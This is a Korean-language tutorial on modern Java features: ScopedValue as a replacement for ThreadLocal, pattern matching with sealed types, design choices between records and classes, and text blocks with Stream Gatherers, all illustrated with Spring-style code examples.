지금 당장 도입할 수 없다면 — 구조적 동시성의 규칙만 먼저 가져오세요. ① 팬아웃은 try (var ex = Executors.newVirtualThreadPerTaskExecutor()) 로 반드시 감싸고, ② 타임아웃은 전체 예산으로 계산하고, ③ 예외 경로에서 모든 Future 를 cancel 하세요. API 가 정식이 되면 이 코드는 그대로 스코프로 접힙니다.
정리 — 구조적 동시성은 동시 작업에 try 블록의 규칙을 적용한 것입니다. scope.fork() 로 뿌리고 scope.join() 으로 받으면 실패 전파 · 취소 전파 · 타임아웃 · 정리가 전부 따라옵니다. 다만 2026-08 기준 아직 프리뷰이니, 공용 모듈이 아닌 갈아엎기 쉬운 자리에서 먼저 쓰세요.
MODERN 06

스코프 값 — ThreadLocal 을 대신할 것 Java 25 정식

로그인 사용자·추적 ID·테넌트처럼 요청 하나 동안 어디서든 읽고 싶은 값을 메서드 인자로 계속 넘기는 것은 고통스럽습니다. 그래서 ThreadLocal 을 썼는데, ThreadLocal 은 언제 지워야 할지 아무도 모르고 가상 스레드에서는 개수만큼 늘어납니다. ScopedValue 는 그 자리를 불변 + 범위 한정으로 대신합니다.

요청 컨텍스트를 흘리는 두 가지 방법 ① ThreadLocal — 수동으로 지워야 합니다 CURRENT.set(user) ← 여기서 시작 service.process() → repo.find() → CURRENT.get() finally { CURRENT.remove(); } ← 빼먹으면 누수 · 값이 가변이라 누가 언제 바꿨는지 추적이 어렵습니다 · 자식 스레드에 물려주려면 값을 통째로 복사합니다 · 가상 스레드 10만 개면 인스턴스도 10만 개가 됩니다 ② ScopedValue — 범위가 끝나면 사라집니다 ScopedValue.where(USER, u).run(() -> { service.process() → repo.find() → USER.get() }); ← 여기서 값이 자동으로 사라집니다 · 값은 불변입니다 — 중간에 바뀔 수 없습니다 · fork 한 자식은 복사 없이 같은 값을 그대로 읽습니다 · 저장 위치가 스레드가 아니라 '호출 범위'입니다 한 줄 요약 — ThreadLocal 은 '스레드에 붙는 변수', ScopedValue 는 '호출 범위에 붙는 상수' 그래서 remove() 를 빠뜨릴 수 없고, 다른 요청에 값이 새는 사고 자체가 성립하지 않습니다 Java 25 에서 정식(JEP 506) — 구조적 동시성과 달리 --enable-preview 없이 바로 씁니다
ScopedValue 는 값을 스레드가 아니라 호출 범위에 매답니다 — 그래서 누수라는 개념이 없습니다.

기본 사용 — 세 줄이면 끝납니다

public final class RequestContext {
    // ① 상수로 하나 선언 (보통 static final)
    public static final ScopedValue<User>   USER  = ScopedValue.newInstance();
    public static final ScopedValue<String> TRACE = ScopedValue.newInstance();
}

// ② 경계에서 바인딩 — 이 안에서만 값이 보입니다
ScopedValue.where(RequestContext.USER, loginUser)
           .where(RequestContext.TRACE, traceId)      // 여러 개 체이닝 가능
           .run(() -> orderService.place(cmd));       // 값을 안 돌려줄 때

// 값을 돌려받고 싶으면 call (체크 예외도 던질 수 있습니다)
Receipt r = ScopedValue.where(RequestContext.USER, loginUser)
                       .call(() -> orderService.place(cmd));

// ③ 깊은 곳에서 읽기 — 인자로 안 넘겨도 됩니다
class OrderService {
    void place(Cmd cmd) {
        User u = RequestContext.USER.get();           // 그냥 읽습니다
        if (RequestContext.TRACE.isBound())           // 바인딩 여부 확인
            log.info("[{}] 주문", RequestContext.TRACE.get());
    }
}

// 바인딩 없이 get() 하면 NoSuchElementException 입니다 ★
// 선택적으로 쓰려면 isBound() 로 감싸거나 orElse 를 씁니다
User u = RequestContext.USER.orElse(User.anonymous());
API 이름이 몇 번 바뀌었습니다 — 예전 예제의 ScopedValue.runWhere(K, v, op)·callWhere(...) 정적 메서드는 지금은 없습니다. Java 25 정식 API 는 ScopedValue.where(K, v).run(...) / .call(...) 한 가지 형태입니다.

ThreadLocal 과 정확히 무엇이 다른가

ThreadLocalScopedValue
변경언제든 set불변 (재바인딩만)
수명지울 때까지블록이 끝나면
누수remove 누락 시구조적으로 불가
자식 전달복사(Inheritable)공유 — 복사 없음
가상 스레드개수만큼 증가영향 적음
읽기 비용맵 조회더 빠름(캐시)
쓸 수 있는 곳어디서나바인딩 블록 안
// 재바인딩 — 안쪽 블록에서만 다른 값으로
ScopedValue.where(TENANT, "acme").run(() -> {
    TENANT.get();                       // "acme"
    ScopedValue.where(TENANT, "beta").run(() -> {
        TENANT.get();                   // "beta"  (안쪽에서만)
    });
    TENANT.get();                       // "acme"  (원래대로 복원)
});

// ❌ 이런 건 안 됩니다 — 값을 바꿀 방법이 없습니다
// TENANT.set("other");                 // 그런 메서드가 없습니다

// → 가변 상태가 필요하면 '가변 객체'를 바인딩합니다 (권장하진 않습니다)
static final ScopedValue<Map<String,Object>> BAG = ScopedValue.newInstance();

실무 배선 — 필터에서 한 번만 묶습니다 🟡 중급

서블릿 필터에서 요청 전체를 감싸기

@Component
public class RequestContextFilter extends OncePerRequestFilter {

    @Override
    protected void doFilterInternal(HttpServletRequest req,
                                    HttpServletResponse res,
                                    FilterChain chain) throws IOException, ServletException {
        var traceId = Optional.ofNullable(req.getHeader("X-Trace-Id"))
                              .orElseGet(() -> UUID.randomUUID().toString());
        var tenant  = resolveTenant(req);

        try {
            // ★ 핵심 — chain.doFilter 를 통째로 run 안에 넣습니다
            //    이 아래의 컨트롤러·서비스·리포지토리 전부가 범위 안입니다
            ScopedValue.where(RequestContext.TRACE, traceId)
                       .where(RequestContext.TENANT, tenant)
                       .call(() -> { chain.doFilter(req, res); return null; });
        } catch (IOException | ServletException | RuntimeException e) {
            throw e;
        } catch (Exception e) {
            throw new ServletException(e);
        }
    }
}

// MDC 도 같이 채워 두면 기존 로그 설정을 안 고쳐도 됩니다
// MDC.put("traceId", traceId);  ... finally { MDC.remove("traceId"); }
왜 필터여야 하나 — ScopedValue 는 호출 스택을 감싸야 값이 보입니다. 인터셉터의 preHandle 처럼 “들어올 때 한 번, 나갈 때 한 번” 구조에서는 감쌀 수가 없습니다. 그래서 필터(또는 AOP 어라운드)가 유일한 자리입니다.

구조적 동시성과의 궁합 ★

// fork 한 자식은 부모의 스코프 값을 '그대로' 봅니다 — 복사가 없습니다
ScopedValue.where(RequestContext.TRACE, traceId).run(() -> {

    try (var scope = StructuredTaskScope.open()) {
        var a = scope.fork(() -> {
            log.info("[{}] 사용자 조회", RequestContext.TRACE.get());  // ✅ 보입니다
            return userClient.find(id);
        });
        var b = scope.fork(() -> orderClient.recent(id));
        scope.join();
        render(a.get(), b.get());
    } catch (Exception e) { throw new RuntimeException(e); }
});

// 왜 안전한가 — 값이 불변이고, 자식의 수명이 부모 블록 안에 갇혀 있기 때문입니다.
// ThreadLocal 이었다면
//   · InheritableThreadLocal 로 '복사'해야 하고 (자식 10만 개면 복사 10만 번)
//   · 자식이 부모보다 오래 살면 지워진 값을 붙잡고 있게 됩니다

// ⚠️ 반대로, 일반 ExecutorService 에 던진 작업은 범위 밖입니다
executor.submit(() -> RequestContext.TRACE.get());   // ❌ NoSuchElementException
//  → 필요하면 값을 미리 꺼내서 넘기세요
String t = RequestContext.TRACE.get();
executor.submit(() -> log.info("[{}] ...", t));      // ✅

현실 — 아직 ThreadLocal 을 다 못 지웁니다 🔴 고급

프레임워크는 여전히 ThreadLocal 위에 있습니다

2026-08 기준, 아래는 전부 ThreadLocal 기반입니다.
  · SLF4J / Logback 의 MDC
  · Spring Security 의 SecurityContextHolder (기본 전략)
  · Spring 의 TransactionSynchronizationManager (영속성 컨텍스트·커넥션)
  · RequestContextHolder (현재 HttpServletRequest)
  · Micrometer 의 Observation 스코프

→ 그래서 지금 현실적인 그림은 '대체'가 아니라 '병행'입니다.

  ① 내가 만든 컨텍스트  → ScopedValue 로 옮깁니다 (효과가 큽니다)
  ② 프레임워크 컨텍스트 → 그대로 둡니다 (건드리면 더 위험합니다)
  ③ 둘을 잇는 브리지    → 필터에서 두 개를 동시에 채웁니다

가상 스레드에서 ①~② 모두 '동작은 합니다'.
문제가 되는 것은 '재사용되는 스레드'가 아니라
'무거운 객체를 스레드마다 캐싱'하는 패턴뿐입니다 (v03).

옮길 가치가 있는 것 / 없는 것

용도판단
로그인 사용자 · 테넌트옮기세요 — 전형적인 대상
추적 ID · 요청 ID옮기세요 — 불변이라 딱 맞습니다
기능 플래그 스냅숏옮기세요 — 요청 내내 고정
DB 커넥션 · 트랜잭션그대로 — 스프링이 관리합니다
무거운 객체 캐시둘 다 ❌ — 불변 객체로 바꾸세요
요청 중 누적하는 값불변이라 부적합 — 반환값으로
도입 순서 추천 — ① 먼저 새 코드에서만 ScopedValue 를 씁니다. ② 기존 ThreadLocal 은 읽는 쪽을 헬퍼 메서드 하나로 모읍니다 (Ctx.trace() 같은 것). ③ 그 헬퍼의 내부만 ScopedValue 로 갈아끼웁니다. 이렇게 하면 호출부를 하나도 안 고치고 전환할 수 있습니다.
정리 — ScopedValue 는 “호출 범위에 붙는 불변 상수”입니다. where(K, v).run(...) 으로 묶고 K.get() 으로 읽으며, 블록이 끝나면 자동으로 사라져 누수가 성립하지 않습니다. Java 25 에서 정식이라 플래그 없이 바로 쓸 수 있고, 구조적 동시성의 자식에게 복사 없이 전달됩니다. 다만 프레임워크는 아직 ThreadLocal 위에 있으니 내 코드부터 옮기세요.
MODERN 07

패턴 매칭 완전판 — if-instanceof 사슬의 끝

패턴 매칭은 “이 값이 이런 모양인지 확인하고, 맞으면 그 안을 꺼내는” 문법입니다. 확인과 꺼내기가 한 번에 일어나기 때문에 형변환이 사라지고, sealed 와 합치면 빠뜨린 경우를 컴파일러가 잡아 줍니다. 여기까지 오면 자바에서도 대수적 데이터 타입을 쓸 수 있습니다.

switch 패턴 — 확인과 분해가 한 번에 들어온 값 Order[ Paid[tx-9], 12000 ] ① Failed 인가? 아니오 ② Paid 이고 a > 10000 ? 아니오 ③ case Order(Paid p, int a) ④ case Order o 여기까지 오지 않습니다 예 실패 처리 예 매칭 — 여기서 멈춤 p → Paid[tx-9] a → 12000 확인과 동시에 지역 변수로 분해 외울 규칙 세 가지 ① 위에서 아래로, 첫 매칭에서 멈춥니다 — 더 구체적인 케이스를 반드시 위에 둡니다 ② 아래 케이스가 위 케이스에 완전히 가려지면 컴파일 에러입니다 (도미넌스) — 순서 실수를 컴파일러가 잡습니다 ③ sealed 계층이면 모든 경우를 적었는지 컴파일러가 확인합니다 — default 를 쓰지 않는 것이 요령입니다 default 를 넣는 순간 ③의 검사가 꺼집니다. 새 하위 타입을 추가해도 아무도 알려 주지 않게 됩니다
패턴 매칭의 진짜 가치는 짧아지는 것이 아니라 빠뜨린 경우를 컴파일러가 잡아 주는 것입니다.

패턴의 네 종류 — 한눈에

Object o = ...;

// ① 타입 패턴 — instanceof 안에서 (Java 16+)
if (o instanceof String s && s.length() > 3) {
    System.out.println(s.toUpperCase());   // 형변환 없이 바로
}
//  s 의 유효 범위(scope)가 '조건이 참인 곳'으로 자동 한정됩니다
if (!(o instanceof String s)) return;      // ★ 이 관용구가 아주 유용합니다
System.out.println(s.length());            // 여기서도 s 를 씁니다

// ② record 패턴 — 안을 분해 (Java 21+)
record Point(int x, int y) {}
if (o instanceof Point(int x, int y)) {    // x, y 가 바로 나옵니다
    System.out.println(x + y);
}

// ③ 중첩 패턴 — 분해 안에서 또 분해
record Line(Point from, Point to) {}
if (o instanceof Line(Point(var x1, var y1), Point p2)) {
    System.out.println(x1 + " → " + p2.x());
}

// ④ var 패턴 (Java 21+) · 무시 패턴 _ (Java 22+)
if (o instanceof Line(var a, var _)) {     // _ = 안 쓰는 값
    System.out.println(a);
}
if (!(o instanceof X x)) return; 를 기억하세요 — “아니면 빠져나간다”를 먼저 쓰고 그 아래를 전부 평평하게 만드는 관용구입니다. 중첩된 if 로 오른쪽으로 밀리던 코드가 한 겹으로 펴집니다.

switch 패턴 — null 과 default 의 규칙

String describe(Object o) {
    return switch (o) {
        case null            -> "없음";          // ★ null 을 케이스로 쓸 수 있습니다
        case Integer i when i < 0 -> "음수 " + i;  // 가드(when)는 패턴 뒤에
        case Integer i       -> "정수 " + i;
        case String s        -> "문자열 " + s.length();
        case int[] arr       -> "배열 " + arr.length;
        default              -> "기타";
    };
}
//  · case null 을 안 쓰면 switch(null) 은 NullPointerException 입니다
//    (기존 switch 와 같은 동작 — 실수하기 쉬우니 명시하는 습관을)
//  · "case null, default ->" 로 묶을 수도 있습니다

// ❌ 순서를 잘못 쓰면 컴파일 에러가 납니다 (도미넌스)
switch (o) {
    case Object obj -> "아무거나";
    case String s   -> "문자열";   // error: this case label is dominated
}

// ❌ 가드가 있어도 '가려짐' 판정은 패턴 기준입니다
switch (n) {
    case Integer i       -> "정수";
    case Integer i when i > 0 -> "양수";   // ❌ 이미 위에서 다 잡힙니다
}
가드(when)는 “같은 타입 안에서 더 좁히는 조건”입니다 — 따라서 가드가 붙은 케이스를 먼저 쓰고 가드 없는 같은 타입을 뒤에 씁니다. “좁은 것 → 넓은 것” 순서만 지키면 컴파일러가 나머지를 확인해 줍니다.

sealed 와 합치기 — 자바의 대수적 데이터 타입 🟡 중급

결과 타입을 예외 대신 값으로

// 한 파일 안에 계층을 다 적는 것이 관례입니다
public sealed interface PayResult {
    record Approved(String txId, long amount)        implements PayResult {}
    record Declined(String code, String message)     implements PayResult {}
    record Pending (String txId, Instant retryAfter) implements PayResult {}
}
//  permits 를 생략하면 '같은 파일 안의 구현체'로 자동 한정됩니다

// 쓰는 쪽 — default 가 없다는 점이 핵심입니다
String render(PayResult r) {
    return switch (r) {                 // 전부 적지 않으면 컴파일 에러 ★
        case Approved(String tx, long amt) -> "승인 " + amt + "원 (" + tx + ")";
        case Declined(String code, var msg) -> "거절 [" + code + "] " + msg;
        case Pending(var tx, var after)     -> "대기 — " + after + " 이후 재시도";
    };
}

// 나중에 Refunded 를 추가하면?
//   → render() 가 곧바로 컴파일 에러가 납니다.
//   → "처리해야 할 곳"이 빌드 시점에 전부 드러납니다 ★★
//   → 이것이 예외나 enum + if 사슬로는 절대 못 얻는 안전망입니다

방문자 패턴을 대체하는 법

❌ 예전 — 방문자 패턴(Visitor)
interface Node { <R> R accept(Visitor<R> v); }
interface Visitor<R> {
    R visitNum(Num n);
    R visitAdd(Add a);
    R visitMul(Mul m);
}
final class Num implements Node {
    final int v;
    public <R> R accept(Visitor<R> vi) { return vi.visitNum(this); }
}
// 새 노드를 추가하면 Visitor 인터페이스와
// 모든 구현체를 전부 고쳐야 합니다 (그래도 컴파일러가 잡아 주긴 합니다)
// 대신 accept/visit 보일러플레이트가 노드 수 × 방문자 수만큼 늘어납니다
✅ 지금 — sealed + switch
sealed interface Node {
    record Num(int v)              implements Node {}
    record Add(Node l, Node r)     implements Node {}
    record Mul(Node l, Node r)     implements Node {}
}

int eval(Node n) {
    return switch (n) {
        case Num(int v)        -> v;
        case Add(var l, var r) -> eval(l) + eval(r);
        case Mul(var l, var r) -> eval(l) * eval(r);
    };
}
// 노드 정의 5줄, 연산 하나당 함수 하나.
// 새 노드를 추가하면 모든 switch 가 컴파일 에러로 알려 줍니다.
어느 쪽이 유리한가 — 타입이 자주 늘어나면 방문자(구현체만 추가), 연산이 자주 늘어나면 sealed + switch(함수만 추가)가 유리합니다. 도메인 모델은 대개 타입은 안정적이고 연산이 계속 늘어나므로 실무에서는 후자가 압도적으로 잘 맞습니다.

실무 적용 — 패턴 매칭이 실제로 값을 하는 자리 🔴 고급

이벤트 처리 · 외부 응답 파싱

// ① 도메인 이벤트 디스패치 — if-instanceof 사슬이 통째로 사라집니다
sealed interface OrderEvent {
    record Placed  (long id, long amount)          implements OrderEvent {}
    record Paid    (long id, String txId)          implements OrderEvent {}
    record Canceled(long id, String reason)        implements OrderEvent {}
    record Shipped (long id, String carrier, String trackNo) implements OrderEvent {}
}

void handle(OrderEvent e) {
    switch (e) {
        case Placed(var id, var amt) when amt >= 1_000_000 -> vipFlow(id, amt);
        case Placed(var id, var amt)          -> normalFlow(id, amt);
        case Paid(var id, var tx)             -> ledger.record(id, tx);
        case Canceled(var id, var reason)     -> refund(id, reason);
        case Shipped(var id, var c, var no)   -> notify(id, c, no);
    }
}

// ② JSON 트리 순회 — Object 로 받은 값을 안전하게 좁혀 갑니다
String title(Object json) {
    return switch (json) {
        case Map<?, ?> m when m.get("title") instanceof String t -> t;
        case List<?> l when !l.isEmpty()  -> title(l.get(0));
        case String s                     -> s;
        case null, default                -> "(제목 없음)";
    };
}

알아 두면 좋은 것들

기능버전 · 상태
instanceof 타입 패턴Java 16 정식
switch 패턴 매칭Java 21 정식
record 패턴 · 중첩 분해Java 21 정식
가드 whenJava 21 정식
이름 없는 패턴 _Java 22 정식
원시 타입 패턴아직 프리뷰 (JEP 507) — 운영 ❌
// 제네릭 record 도 분해됩니다 (타입 추론이 따라옵니다)
record Box<T>(T value) {}
Object o = new Box<>("hi");
if (o instanceof Box<?>(String s)) { s.length(); }   // s 는 String

// enum 과 섞어 쓰기 — 한정된 이름을 그대로 씁니다
sealed interface Cmd { record Move(Dir d, int n) implements Cmd {} }
switch (cmd) {
    // 레코드 패턴 안에 enum 상수를 직접 쓸 수는 없습니다 — Move(Dir.UP, …) 는 컴파일 에러
    // (상수를 case 라벨로 쓰는 건 enum 자체를 switch 할 때뿐) → 가드로 비교합니다
    case Move(var d, var n) when d == Dir.UP   -> y -= n;
    case Move(var d, var n) when d == Dir.DOWN -> y += n;
    case Move(var d, var n)    -> other(d, n);
}

// 성능 — switch 패턴은 invokedynamic 기반 부트스트랩으로 컴파일됩니다.
// 케이스가 많아도 if 사슬처럼 선형으로 늘어나지 않습니다.
record 패턴은 “접근자를 부른다”는 뜻입니다 — case Point(int x, int y) 는 내부적으로 p.x(), p.y() 를 호출합니다. 접근자를 재정의해서 부수효과를 넣어 두었다면 분해할 때마다 그게 실행됩니다. record 의 접근자는 순수하게 두세요.
정리 — 패턴 매칭은 확인 + 형변환 + 분해를 한 문법으로 합친 것입니다. if (!(o instanceof X x)) return; 으로 코드를 평평하게 펴고, sealed + switch + default 없음 조합으로 빠뜨린 경우를 컴파일러에게 맡기세요. 이 조합 하나로 방문자 패턴과 enum + if 사슬이 동시에 사라집니다.
MODERN 08

record · sealed · 값 지향 설계 — 무엇을 어디에 쓸까

record 문법 자체는 ☕ Java 기초 탭에서 다뤘습니다. 여기서는 설계 판단만 봅니다 — 어디까지 record 로 만들고 어디서 클래스로 돌아가야 하는지, sealed 계층을 어떻게 자르는지, DTO 를 경계마다 몇 개 둘 것인지. 그리고 앞으로 올 값 클래스(Valhalla)가 이 판단을 어떻게 바꾸는지.

sealed 계층 — 컴파일러가 지켜 주는 도메인 모델 sealed interface PayResult permits Approved, Declined, Pending — 이 셋 말고는 만들 수 없습니다 record Approved String txId long amount record Declined String code String message record Pending String txId Instant retryAfter 컴파일러가 보장하는 것 ① 이 셋 말고 다른 구현체는 존재할 수 없습니다 ② switch 에서 세 경우를 다 적지 않으면 에러입니다 ③ 나중에 Refunded 를 추가하면 다뤄야 할 곳이 전부 컴파일 에러로 드러납니다 record 를 쓰면 안 되는 자리 · JPA 엔티티 — 기본 생성자와 가변 필드가 필요합니다 · 상속이 필요한 것 — record 는 final 입니다 · 필드가 늘어날 공개 API — 생성자 시그니처가 깨집니다 · 가변 상태를 담는 것 — 애초에 목적이 다릅니다
sealed 계층의 값어치는 “빠뜨린 곳이 컴파일 에러로 드러난다” 한 줄에 전부 있습니다.

record 를 “제대로” 만드는 법

public record Money(String currency, long minor) implements Comparable<Money> {

    // ① 컴팩트 생성자 — 검증과 '정규화'를 여기서 합니다
    public Money {
        Objects.requireNonNull(currency, "currency");
        if (currency.length() != 3)
            throw new IllegalArgumentException("통화 코드는 3자리: " + currency);
        currency = currency.toUpperCase();   // ★ 파라미터에 재대입 = 정규화
        if (minor < 0) throw new IllegalArgumentException("음수 금액");
    }

    // ② 정적 팩토리 — 읽기 좋은 이름을 줍니다
    public static Money krw(long won) { return new Money("KRW", won); }
    public static Money zero(String cur) { return new Money(cur, 0); }

    // ③ 연산은 새 값을 돌려줍니다 (with 관례)
    public Money plus(Money other) {
        if (!currency.equals(other.currency))
            throw new IllegalArgumentException("통화 불일치");
        return new Money(currency, Math.addExact(minor, other.minor));
    }

    @Override public int compareTo(Money o) { return Long.compare(minor, o.minor); }
    @Override public String toString() { return minor + " " + currency; }
}
표준 생성자를 private 으로 숨길 수는 없습니다 ★ — record 의 표준 생성자는 record 자체보다 덜 공개적일 수 없습니다. public record 면 new Money(...) 를 막을 방법이 없습니다. 정말 팩토리만 허용하고 싶다면 record 를 패키지 전용으로 두고 인터페이스를 공개하는 구성을 쓰세요.

record 로 갈지 클래스로 갈지 — 결정표

이런 것선택
API 요청/응답 DTOrecord
도메인 값 객체(금액·좌표·기간)record
이벤트 · 메시지 페이로드record
조회 결과 프로젝션(JPQL·QueryDSL)record
설정 바인딩(@ConfigurationProperties)record
메서드 안 임시 묶음지역 record
JPA 엔티티클래스
상태가 변하는 도메인 객체클래스
필드가 계속 늘어날 공개 API클래스 + 빌더
상속 계층이 필요한 것클래스(또는 sealed)
“필드가 늘어날 것 같다”가 유일하게 진지한 반대 이유입니다 — record 는 생성자 시그니처가 곧 API 라, 필드를 하나 추가하면 호출부가 전부 깨집니다. 내부 코드라면 오히려 장점(고칠 곳이 드러남)이지만, 외부에 배포하는 라이브러리라면 빌더가 있는 클래스가 안전합니다.

경계마다 타입을 나누기 — DTO 를 몇 개 둘 것인가 🟡 중급

세 겹 구조가 기본형입니다

// ① API 경계 — 외부 계약. 바꾸면 클라이언트가 깨집니다
public record CreateOrderRequest(
        @NotBlank String productCode,
        @Min(1) int quantity,
        String couponCode) {                   // 컨트롤러 안에 중첩해도 됩니다

    public OrderCommand toCommand(long userId) {   // ② 로 넘기는 변환은 여기에
        return new OrderCommand(userId, productCode, quantity,
                                Optional.ofNullable(couponCode));
    }
}

// ② 애플리케이션 경계 — 유스케이스 입력. 검증이 끝난 값만 담습니다
public record OrderCommand(long userId, String productCode,
                           int quantity, Optional<String> couponCode) {}

// ③ 영속 경계 — JPA 엔티티는 클래스입니다 (record ❌)
@Entity
public class Order {
    @Id @GeneratedValue Long id;
    private String productCode;
    private int quantity;
    protected Order() {}                        // JPA 가 요구하는 기본 생성자
}

// ④ 조회 전용 — 엔티티를 안 거치고 바로 record 로 받습니다 (성능에 크게 유리)
public record OrderSummary(Long id, String productCode, int quantity, long total) {}

@Query("""
       select new com.shop.OrderSummary(o.id, o.productCode, o.quantity, o.total)
       from Order o where o.userId = :uid
       """)
List<OrderSummary> findSummaries(@Param("uid") long uid);

이벤트 모델링과 버저닝

// 메시지로 나가는 이벤트는 '한번 나가면 못 고치는' 계약입니다
public sealed interface OrderEventV1 {

    record Placed(String eventId, Instant at,
                  long orderId, long amount) implements OrderEventV1 {}

    record Canceled(String eventId, Instant at,
                    long orderId, String reason) implements OrderEventV1 {}
}

// 규칙 ① 필드는 '추가만' — 삭제·의미 변경은 새 버전으로
// 규칙 ② 소비자가 모르는 필드를 만나도 죽지 않게 (Jackson: FAIL_ON_UNKNOWN=false)
// 규칙 ③ eventId · occurredAt · 버전을 반드시 넣습니다 (중복 처리·순서 판정용)

// 구버전을 새 타입으로 승격하는 자리를 한 곳에 모읍니다
static OrderEvent upgrade(OrderEventV1 old) {
    return switch (old) {
        case OrderEventV1.Placed(var id, var at, var oid, var amt)
                -> new OrderEvent.Placed(id, at, oid, Money.krw(amt), "KRW");
        case OrderEventV1.Canceled(var id, var at, var oid, var r)
                -> new OrderEvent.Canceled(id, at, oid, r);
    };
}
record 를 직렬화 계약으로 쓸 때 조심할 것 — 필드 순서가 곧 생성자 순서입니다. 같은 타입의 필드 둘을 순서만 바꾸면 컴파일은 통과하고 값이 뒤바뀐 채 배포됩니다. 같은 타입이 연달아 있으면 서로 다른 값 타입(OrderId·UserId)으로 감싸세요.

sealed 계층을 자르는 법 — 그리고 Valhalla 전망 🔴 고급

sealed 의 규칙과 설계 지침

// ① permits 를 명시하면 다른 파일에도 둘 수 있습니다 (같은 패키지/모듈 안)
public sealed interface Shape permits Circle, Rect, Triangle {}
public record Circle(double r)            implements Shape {}
public record Rect(double w, double h)    implements Shape {}
public record Triangle(double b, double h) implements Shape {}

// ② 하위 타입은 셋 중 하나여야 합니다
//    final      — 더 못 늘어남 (record 는 자동으로 final)
//    sealed     — 또 한 겹 제한 (트리 구조)
//    non-sealed — 여기서부터는 자유롭게 상속 허용 ★
public sealed interface Payment permits Card, Bank, Wallet {}
public non-sealed interface Wallet extends Payment {}   // 외부 확장 지점

// ③ 같은 모듈(모듈이 없으면 같은 패키지) 안에 있어야 합니다
//    → 라이브러리 사용자가 내 계층을 못 늘리게 막는 효과가 있습니다
언제 sealed 를 쓰나 — 한 줄 판단
“경우의 수가 정해져 있고, 그걸 빠짐없이 다뤄야 한다” → sealed.
“누구든 새 구현을 추가할 수 있어야 한다” → 그냥 인터페이스.
결제 결과·주문 상태·파싱 결과·명령은 전자이고, 플러그인·전략·리포지토리는 후자입니다.

값 클래스(Valhalla) — 무엇이 바뀔까

지금 record 의 한계는 '여전히 객체'라는 점입니다.

  record Point(int x, int y)
    → 힙에 객체 하나 + 헤더 + 참조.  배열이면 Point[] 는
      '포인터의 배열'이라 값들이 메모리에 흩어집니다.
    → 100만 개를 순회하면 캐시 미스가 지배적입니다.

Valhalla 프로젝트의 '값 클래스'는 여기에 답을 줍니다.
  · 정체성(identity)이 없는 클래스 — == 가 필드 비교와 같아집니다
  · JVM 이 힙 할당을 생략하고 필드를 '펼쳐서' 배치할 수 있습니다
  · 배열이 진짜 '값의 배열'이 되어 C 구조체 배열처럼 촘촘해집니다
  · 동기화(synchronized)와 정체성 해시가 금지됩니다

2026-08 기준: 아직 어떤 JDK 릴리스에도 프리뷰로조차 들어오지 않았습니다
(JEP 401 — 🔬 전문가 탭 z05 참고). 운영 코드에 넣을 단계가 아닙니다.

★ 지금 할 수 있는 준비는 이것뿐입니다 —
  ① 값 타입은 record 로, 불변으로 만들어 두기
  ② 값 객체에 synchronized 를 걸지 않기
  ③ == 대신 equals 로 비교하기 (지금도 옳은 습관입니다)
  ④ 정체성에 의존하지 않기 (IdentityHashMap 등)
  → 이렇게 짜 두면 값 클래스가 나왔을 때
    선언 한 줄만 바꿔서 성능을 얻습니다.
정리 — 값은 record, 정해진 경우의 수는 sealed, 상태가 변하는 것은 클래스입니다. record 는 컴팩트 생성자에서 검증·정규화하고 정적 팩토리로 이름을 주는 것까지가 한 세트이고, DTO 는 API · 유스케이스 · 영속 세 겹으로 나누는 것이 기본형입니다. 이렇게 불변·무정체성으로 짜 두면 나중에 값 클래스가 나왔을 때 그대로 이득을 봅니다.
MODERN 09

텍스트 블록 · 새 API — 손이 자주 가는 것들

Java 11 로 짠 코드를 25 로 옮기면 직접 만들어 쓰던 유틸이 표준 API 로 바뀌는 자리가 꽤 나옵니다. 여기서는 실제로 매일 손이 가는 것만 모았습니다 — 텍스트 블록 실전, Stream Gatherers(Java 24 정식), SequencedCollection, HttpClient, Files·Path, 그리고 Java 25 의 새 소스 파일 문법.

Stream Gatherers — 중간 연산을 직접 만드는 자리 (Java 24 정식) 원본 스트림 list.stream() 기본 중간 연산 filter · map · sorted .gather(…) 새로 열린 자리 최종 연산 toList · collect 예전엔 이 자리에서 막혔습니다 · 3개씩 묶어서 처리하기 → for 문으로 되돌아감 · 직전 값과 비교하기 → 인덱스 루프로 되돌아감 · 누적 상태를 들고 가기 → 가변 변수 + forEach · 동시에 호출하고 순서 지키기 → 손수 조립 이제 표준으로 있습니다 · windowFixed(3) — 3개씩 묶기 · windowSliding(2) — 겹치게 묶어 직전 값 비교 · scan / fold — 누적값 흘리기 · 하나로 접기 · mapConcurrent(n, fn) — 가상 스레드로 동시 호출 mapConcurrent 가 특히 중요합니다 내부적으로 가상 스레드를 쓰면서 동시 개수를 n 으로 제한하고, 결과 순서는 원본 순서를 지킵니다 즉 v03 에서 손으로 만든 '세마포어 + 팬아웃'이 한 줄로 접힙니다 — 실패하면 나머지도 취소됩니다 직접 만들려면 Gatherer.of(초기상태, 통합자, 결합자, 마무리) 네 조각을 구현합니다
Gatherers 는 collect 로 내려가야만 했던 일을 파이프라인 안에서 끝내게 해 줍니다 — 특히 mapConcurrent.

텍스트 블록 — 실무에서 쓰는 세 자리

// ① SQL — 들여쓰기가 결과 문자열에 안 들어갑니다 (부수적 공백 제거)
String sql = """
        select o.id, o.total, u.name
          from orders o
          join users u on u.id = o.user_id
         where o.created_at >= ?
         order by o.created_at desc
        """;
//  가장 왼쪽 줄을 기준으로 공통 들여쓰기를 잘라 냅니다.
//  닫는 """ 의 위치가 기준에 포함되므로 ★ 닫는 위치가 곧 왼쪽 정렬선입니다.

// ② JSON · 요청 본문 — 큰따옴표를 이스케이프하지 않아도 됩니다
String body = """
        {"orderId": %d, "status": "%s"}
        """.formatted(orderId, status);       // String.format 보다 읽기 좋습니다

// ③ LLM 프롬프트 — 지금 가장 많이 쓰는 자리입니다 (v12)
String prompt = """
        너는 주문 상담원이다.
        아래 주문 내역만 근거로 답하고, 모르면 모른다고 답해라.

        %s
        """.formatted(context);

// 이스케이프 두 개만 알면 됩니다
String s = """
        아주 긴 한 줄을 소스에서만 \
        나눠 쓰고 싶을 때는 역슬래시로 이어 붙입니다.
        줄 끝 공백을 지키려면 \s 를 씁니다.   \s
        """;
가장 흔한 실수 — 닫는 """ 를 왼쪽 끝에 붙이는 것. 그러면 본문 들여쓰기가 전부 살아납니다. 의도한 결과가 안 나오면 System.out.println("[" + s + "]") 로 대괄호를 씌워 보세요 — 공백이 바로 보입니다.

Gatherers 실전 — 다섯 가지

import java.util.stream.Gatherers;

// ① 배치로 묶어 벌크 저장 (예전엔 인덱스 루프로 잘랐습니다)
ids.stream()
   .gather(Gatherers.windowFixed(500))        // List<Long> 500개씩
   .forEach(batch -> repo.saveAll(batch));

